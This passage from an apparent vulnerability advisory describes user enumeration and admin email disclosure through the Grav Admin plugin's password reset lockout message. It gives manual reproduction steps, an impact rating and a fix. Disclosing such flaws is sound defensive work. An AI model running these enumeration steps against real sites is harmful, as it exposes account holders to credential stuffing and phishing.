However, when a valid username is supplied, and the attacker repeatedly triggers password reset requests, the application responds with:
Cannot reset password for <USEREMAIL>, password reset functionality temporarily blocked, please try later (maximum 60 minutes)
This discrepancy in responses enables: 1. User Enumeration – Attackers can determine if a username exists in the system by analyzing the response. 2. User Email Disclosure – The system discloses the actual email address associated with the account (e.g., admin@localhost.test).
This violates best practices for authentication flows, where responses should remain generic to avoid leaking sensitive information.
PoC 1. Navigate to the Forgot Password page: https://<target>/admin/forgot 1. Submit a reset request with a random/invalid username (e.g., invaliduser):
- Response: Instructions to reset your password have been sent to your email address 3. Submit a reset request with a valid username (e.g., admin). 4. Repeatedly request a reset for the same username until the lockout mechanism triggers. - Response: Cannot reset password for admin@localhost.test, password reset functionality temporarily blocked, please try later (maximum 60 minutes) 5. Observe the leaked email address of the admin account in the error message.
Impact - Severity: Medium - Type: Information Disclosure / User Enumeration - Who is Impacted: All Grav sites using Admin plugin v1.10.49.1 with password reset enabled. - Risks: - Allows attackers to enumerate valid usernames. - Exposes email addresses of admin accounts, which can be used in: - Credential stuffing - Password spraying - Phishing/social engineering campaigns - Further exploitation in combination with other vulnerabilities
Recommendation
- Modify the taskForgot() logic to always return a generic, non-identifying message, regardless of whether the username exists or rate limits are hit.
- Example safe response: ini If the account exists, password reset instructions will be sent.
- Do not include email addresses ($to) or other sensitive data in error messages.